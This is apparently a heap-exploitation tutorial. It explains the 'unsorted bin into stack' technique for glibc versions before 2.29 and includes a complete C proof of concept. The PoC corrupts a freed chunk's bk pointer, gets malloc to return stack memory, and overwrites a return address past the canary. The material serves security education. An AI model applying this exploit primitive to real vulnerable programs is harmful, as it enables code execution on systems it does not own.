The unsorted bin into stack technique exploits the unsorted bin’s freelist mechanism to make malloc() return a pointer to a nearly-arbitrary location, such as the stack. This is achieved by corrupting the bk pointer of a freed chunk in the unsorted bin.
This technique was patched in glibc 2.29. It only works on glibc versions < 2.29.
Create a chunk and free it to place it in the unsorted bin:
intptr_t* victim = malloc(0x100);malloc(0x100); // Prevent consolidation with top chunkfree(victim); // Victim goes into unsorted bin
2
Create Fake Chunk on Stack
Set up a fake chunk structure on the stack:
intptr_t stack_buffer[4] = {0};// Size must pass: 2*SIZE_SZ (16 on x64) && < av->system_memstack_buffer[1] = 0x100 + 0x10; // Size fieldstack_buffer[3] = (intptr_t)stack_buffer; // bk pointer
3
Corrupt Victim Metadata
Exploit vulnerability to overwrite victim’s size and bk:
// Vulnerability: overwrite victim chunk metadatavictim[-1] = 32; // Size different from next mallocvictim[1] = (intptr_t)stack_buffer; // bk points to fake chunk
The size must be different from the next allocation to force unsorted bin processing.
4
Trigger Allocation
Call malloc to get the fake chunk returned:
char *p2 = malloc(0x100);// p2 now points to stack_buffer[2]
The unsorted bin processing:
Sees victim with size 32 (doesn’t match request of 0x100)
Removes victim from unsorted bin
Follows victim->bk to our fake chunk
Returns &stack_buffer[2] as the allocation
5
Exploit the Stack Pointer
Use the stack pointer to overwrite return addresses:
intptr_t sc = (intptr_t)target_function;// Write to p2[40] to overwrite return address// This bypasses stack canaries!memcpy((p2+40), &sc, 8);
#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <assert.h>void jackpot(){ printf("Nice jump d00d\n"); exit(0); }int main() { intptr_t stack_buffer[4] = {0}; printf("Allocating the victim chunk\n"); intptr_t* victim = malloc(0x100); printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n"); intptr_t* p1 = malloc(0x100); printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); free(victim); printf("Create a fake chunk on the stack"); printf("Set size for next allocation and the bk pointer to any writable address"); stack_buffer[1] = 0x100 + 0x10; stack_buffer[3] = (intptr_t)stack_buffer; //------------VULNERABILITY----------- printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n"); printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n"); victim[-1] = 32; victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack //------------------------------------ printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]); char *p2 = malloc(0x100); printf("malloc(0x100): %p\n", p2); intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary assert((long)__builtin_return_address(0) == (long)jackpot);}
One powerful aspect of this technique is that it can overwrite return addresses without triggering stack canary protection, as the write happens beyond the canary’s location on the stack.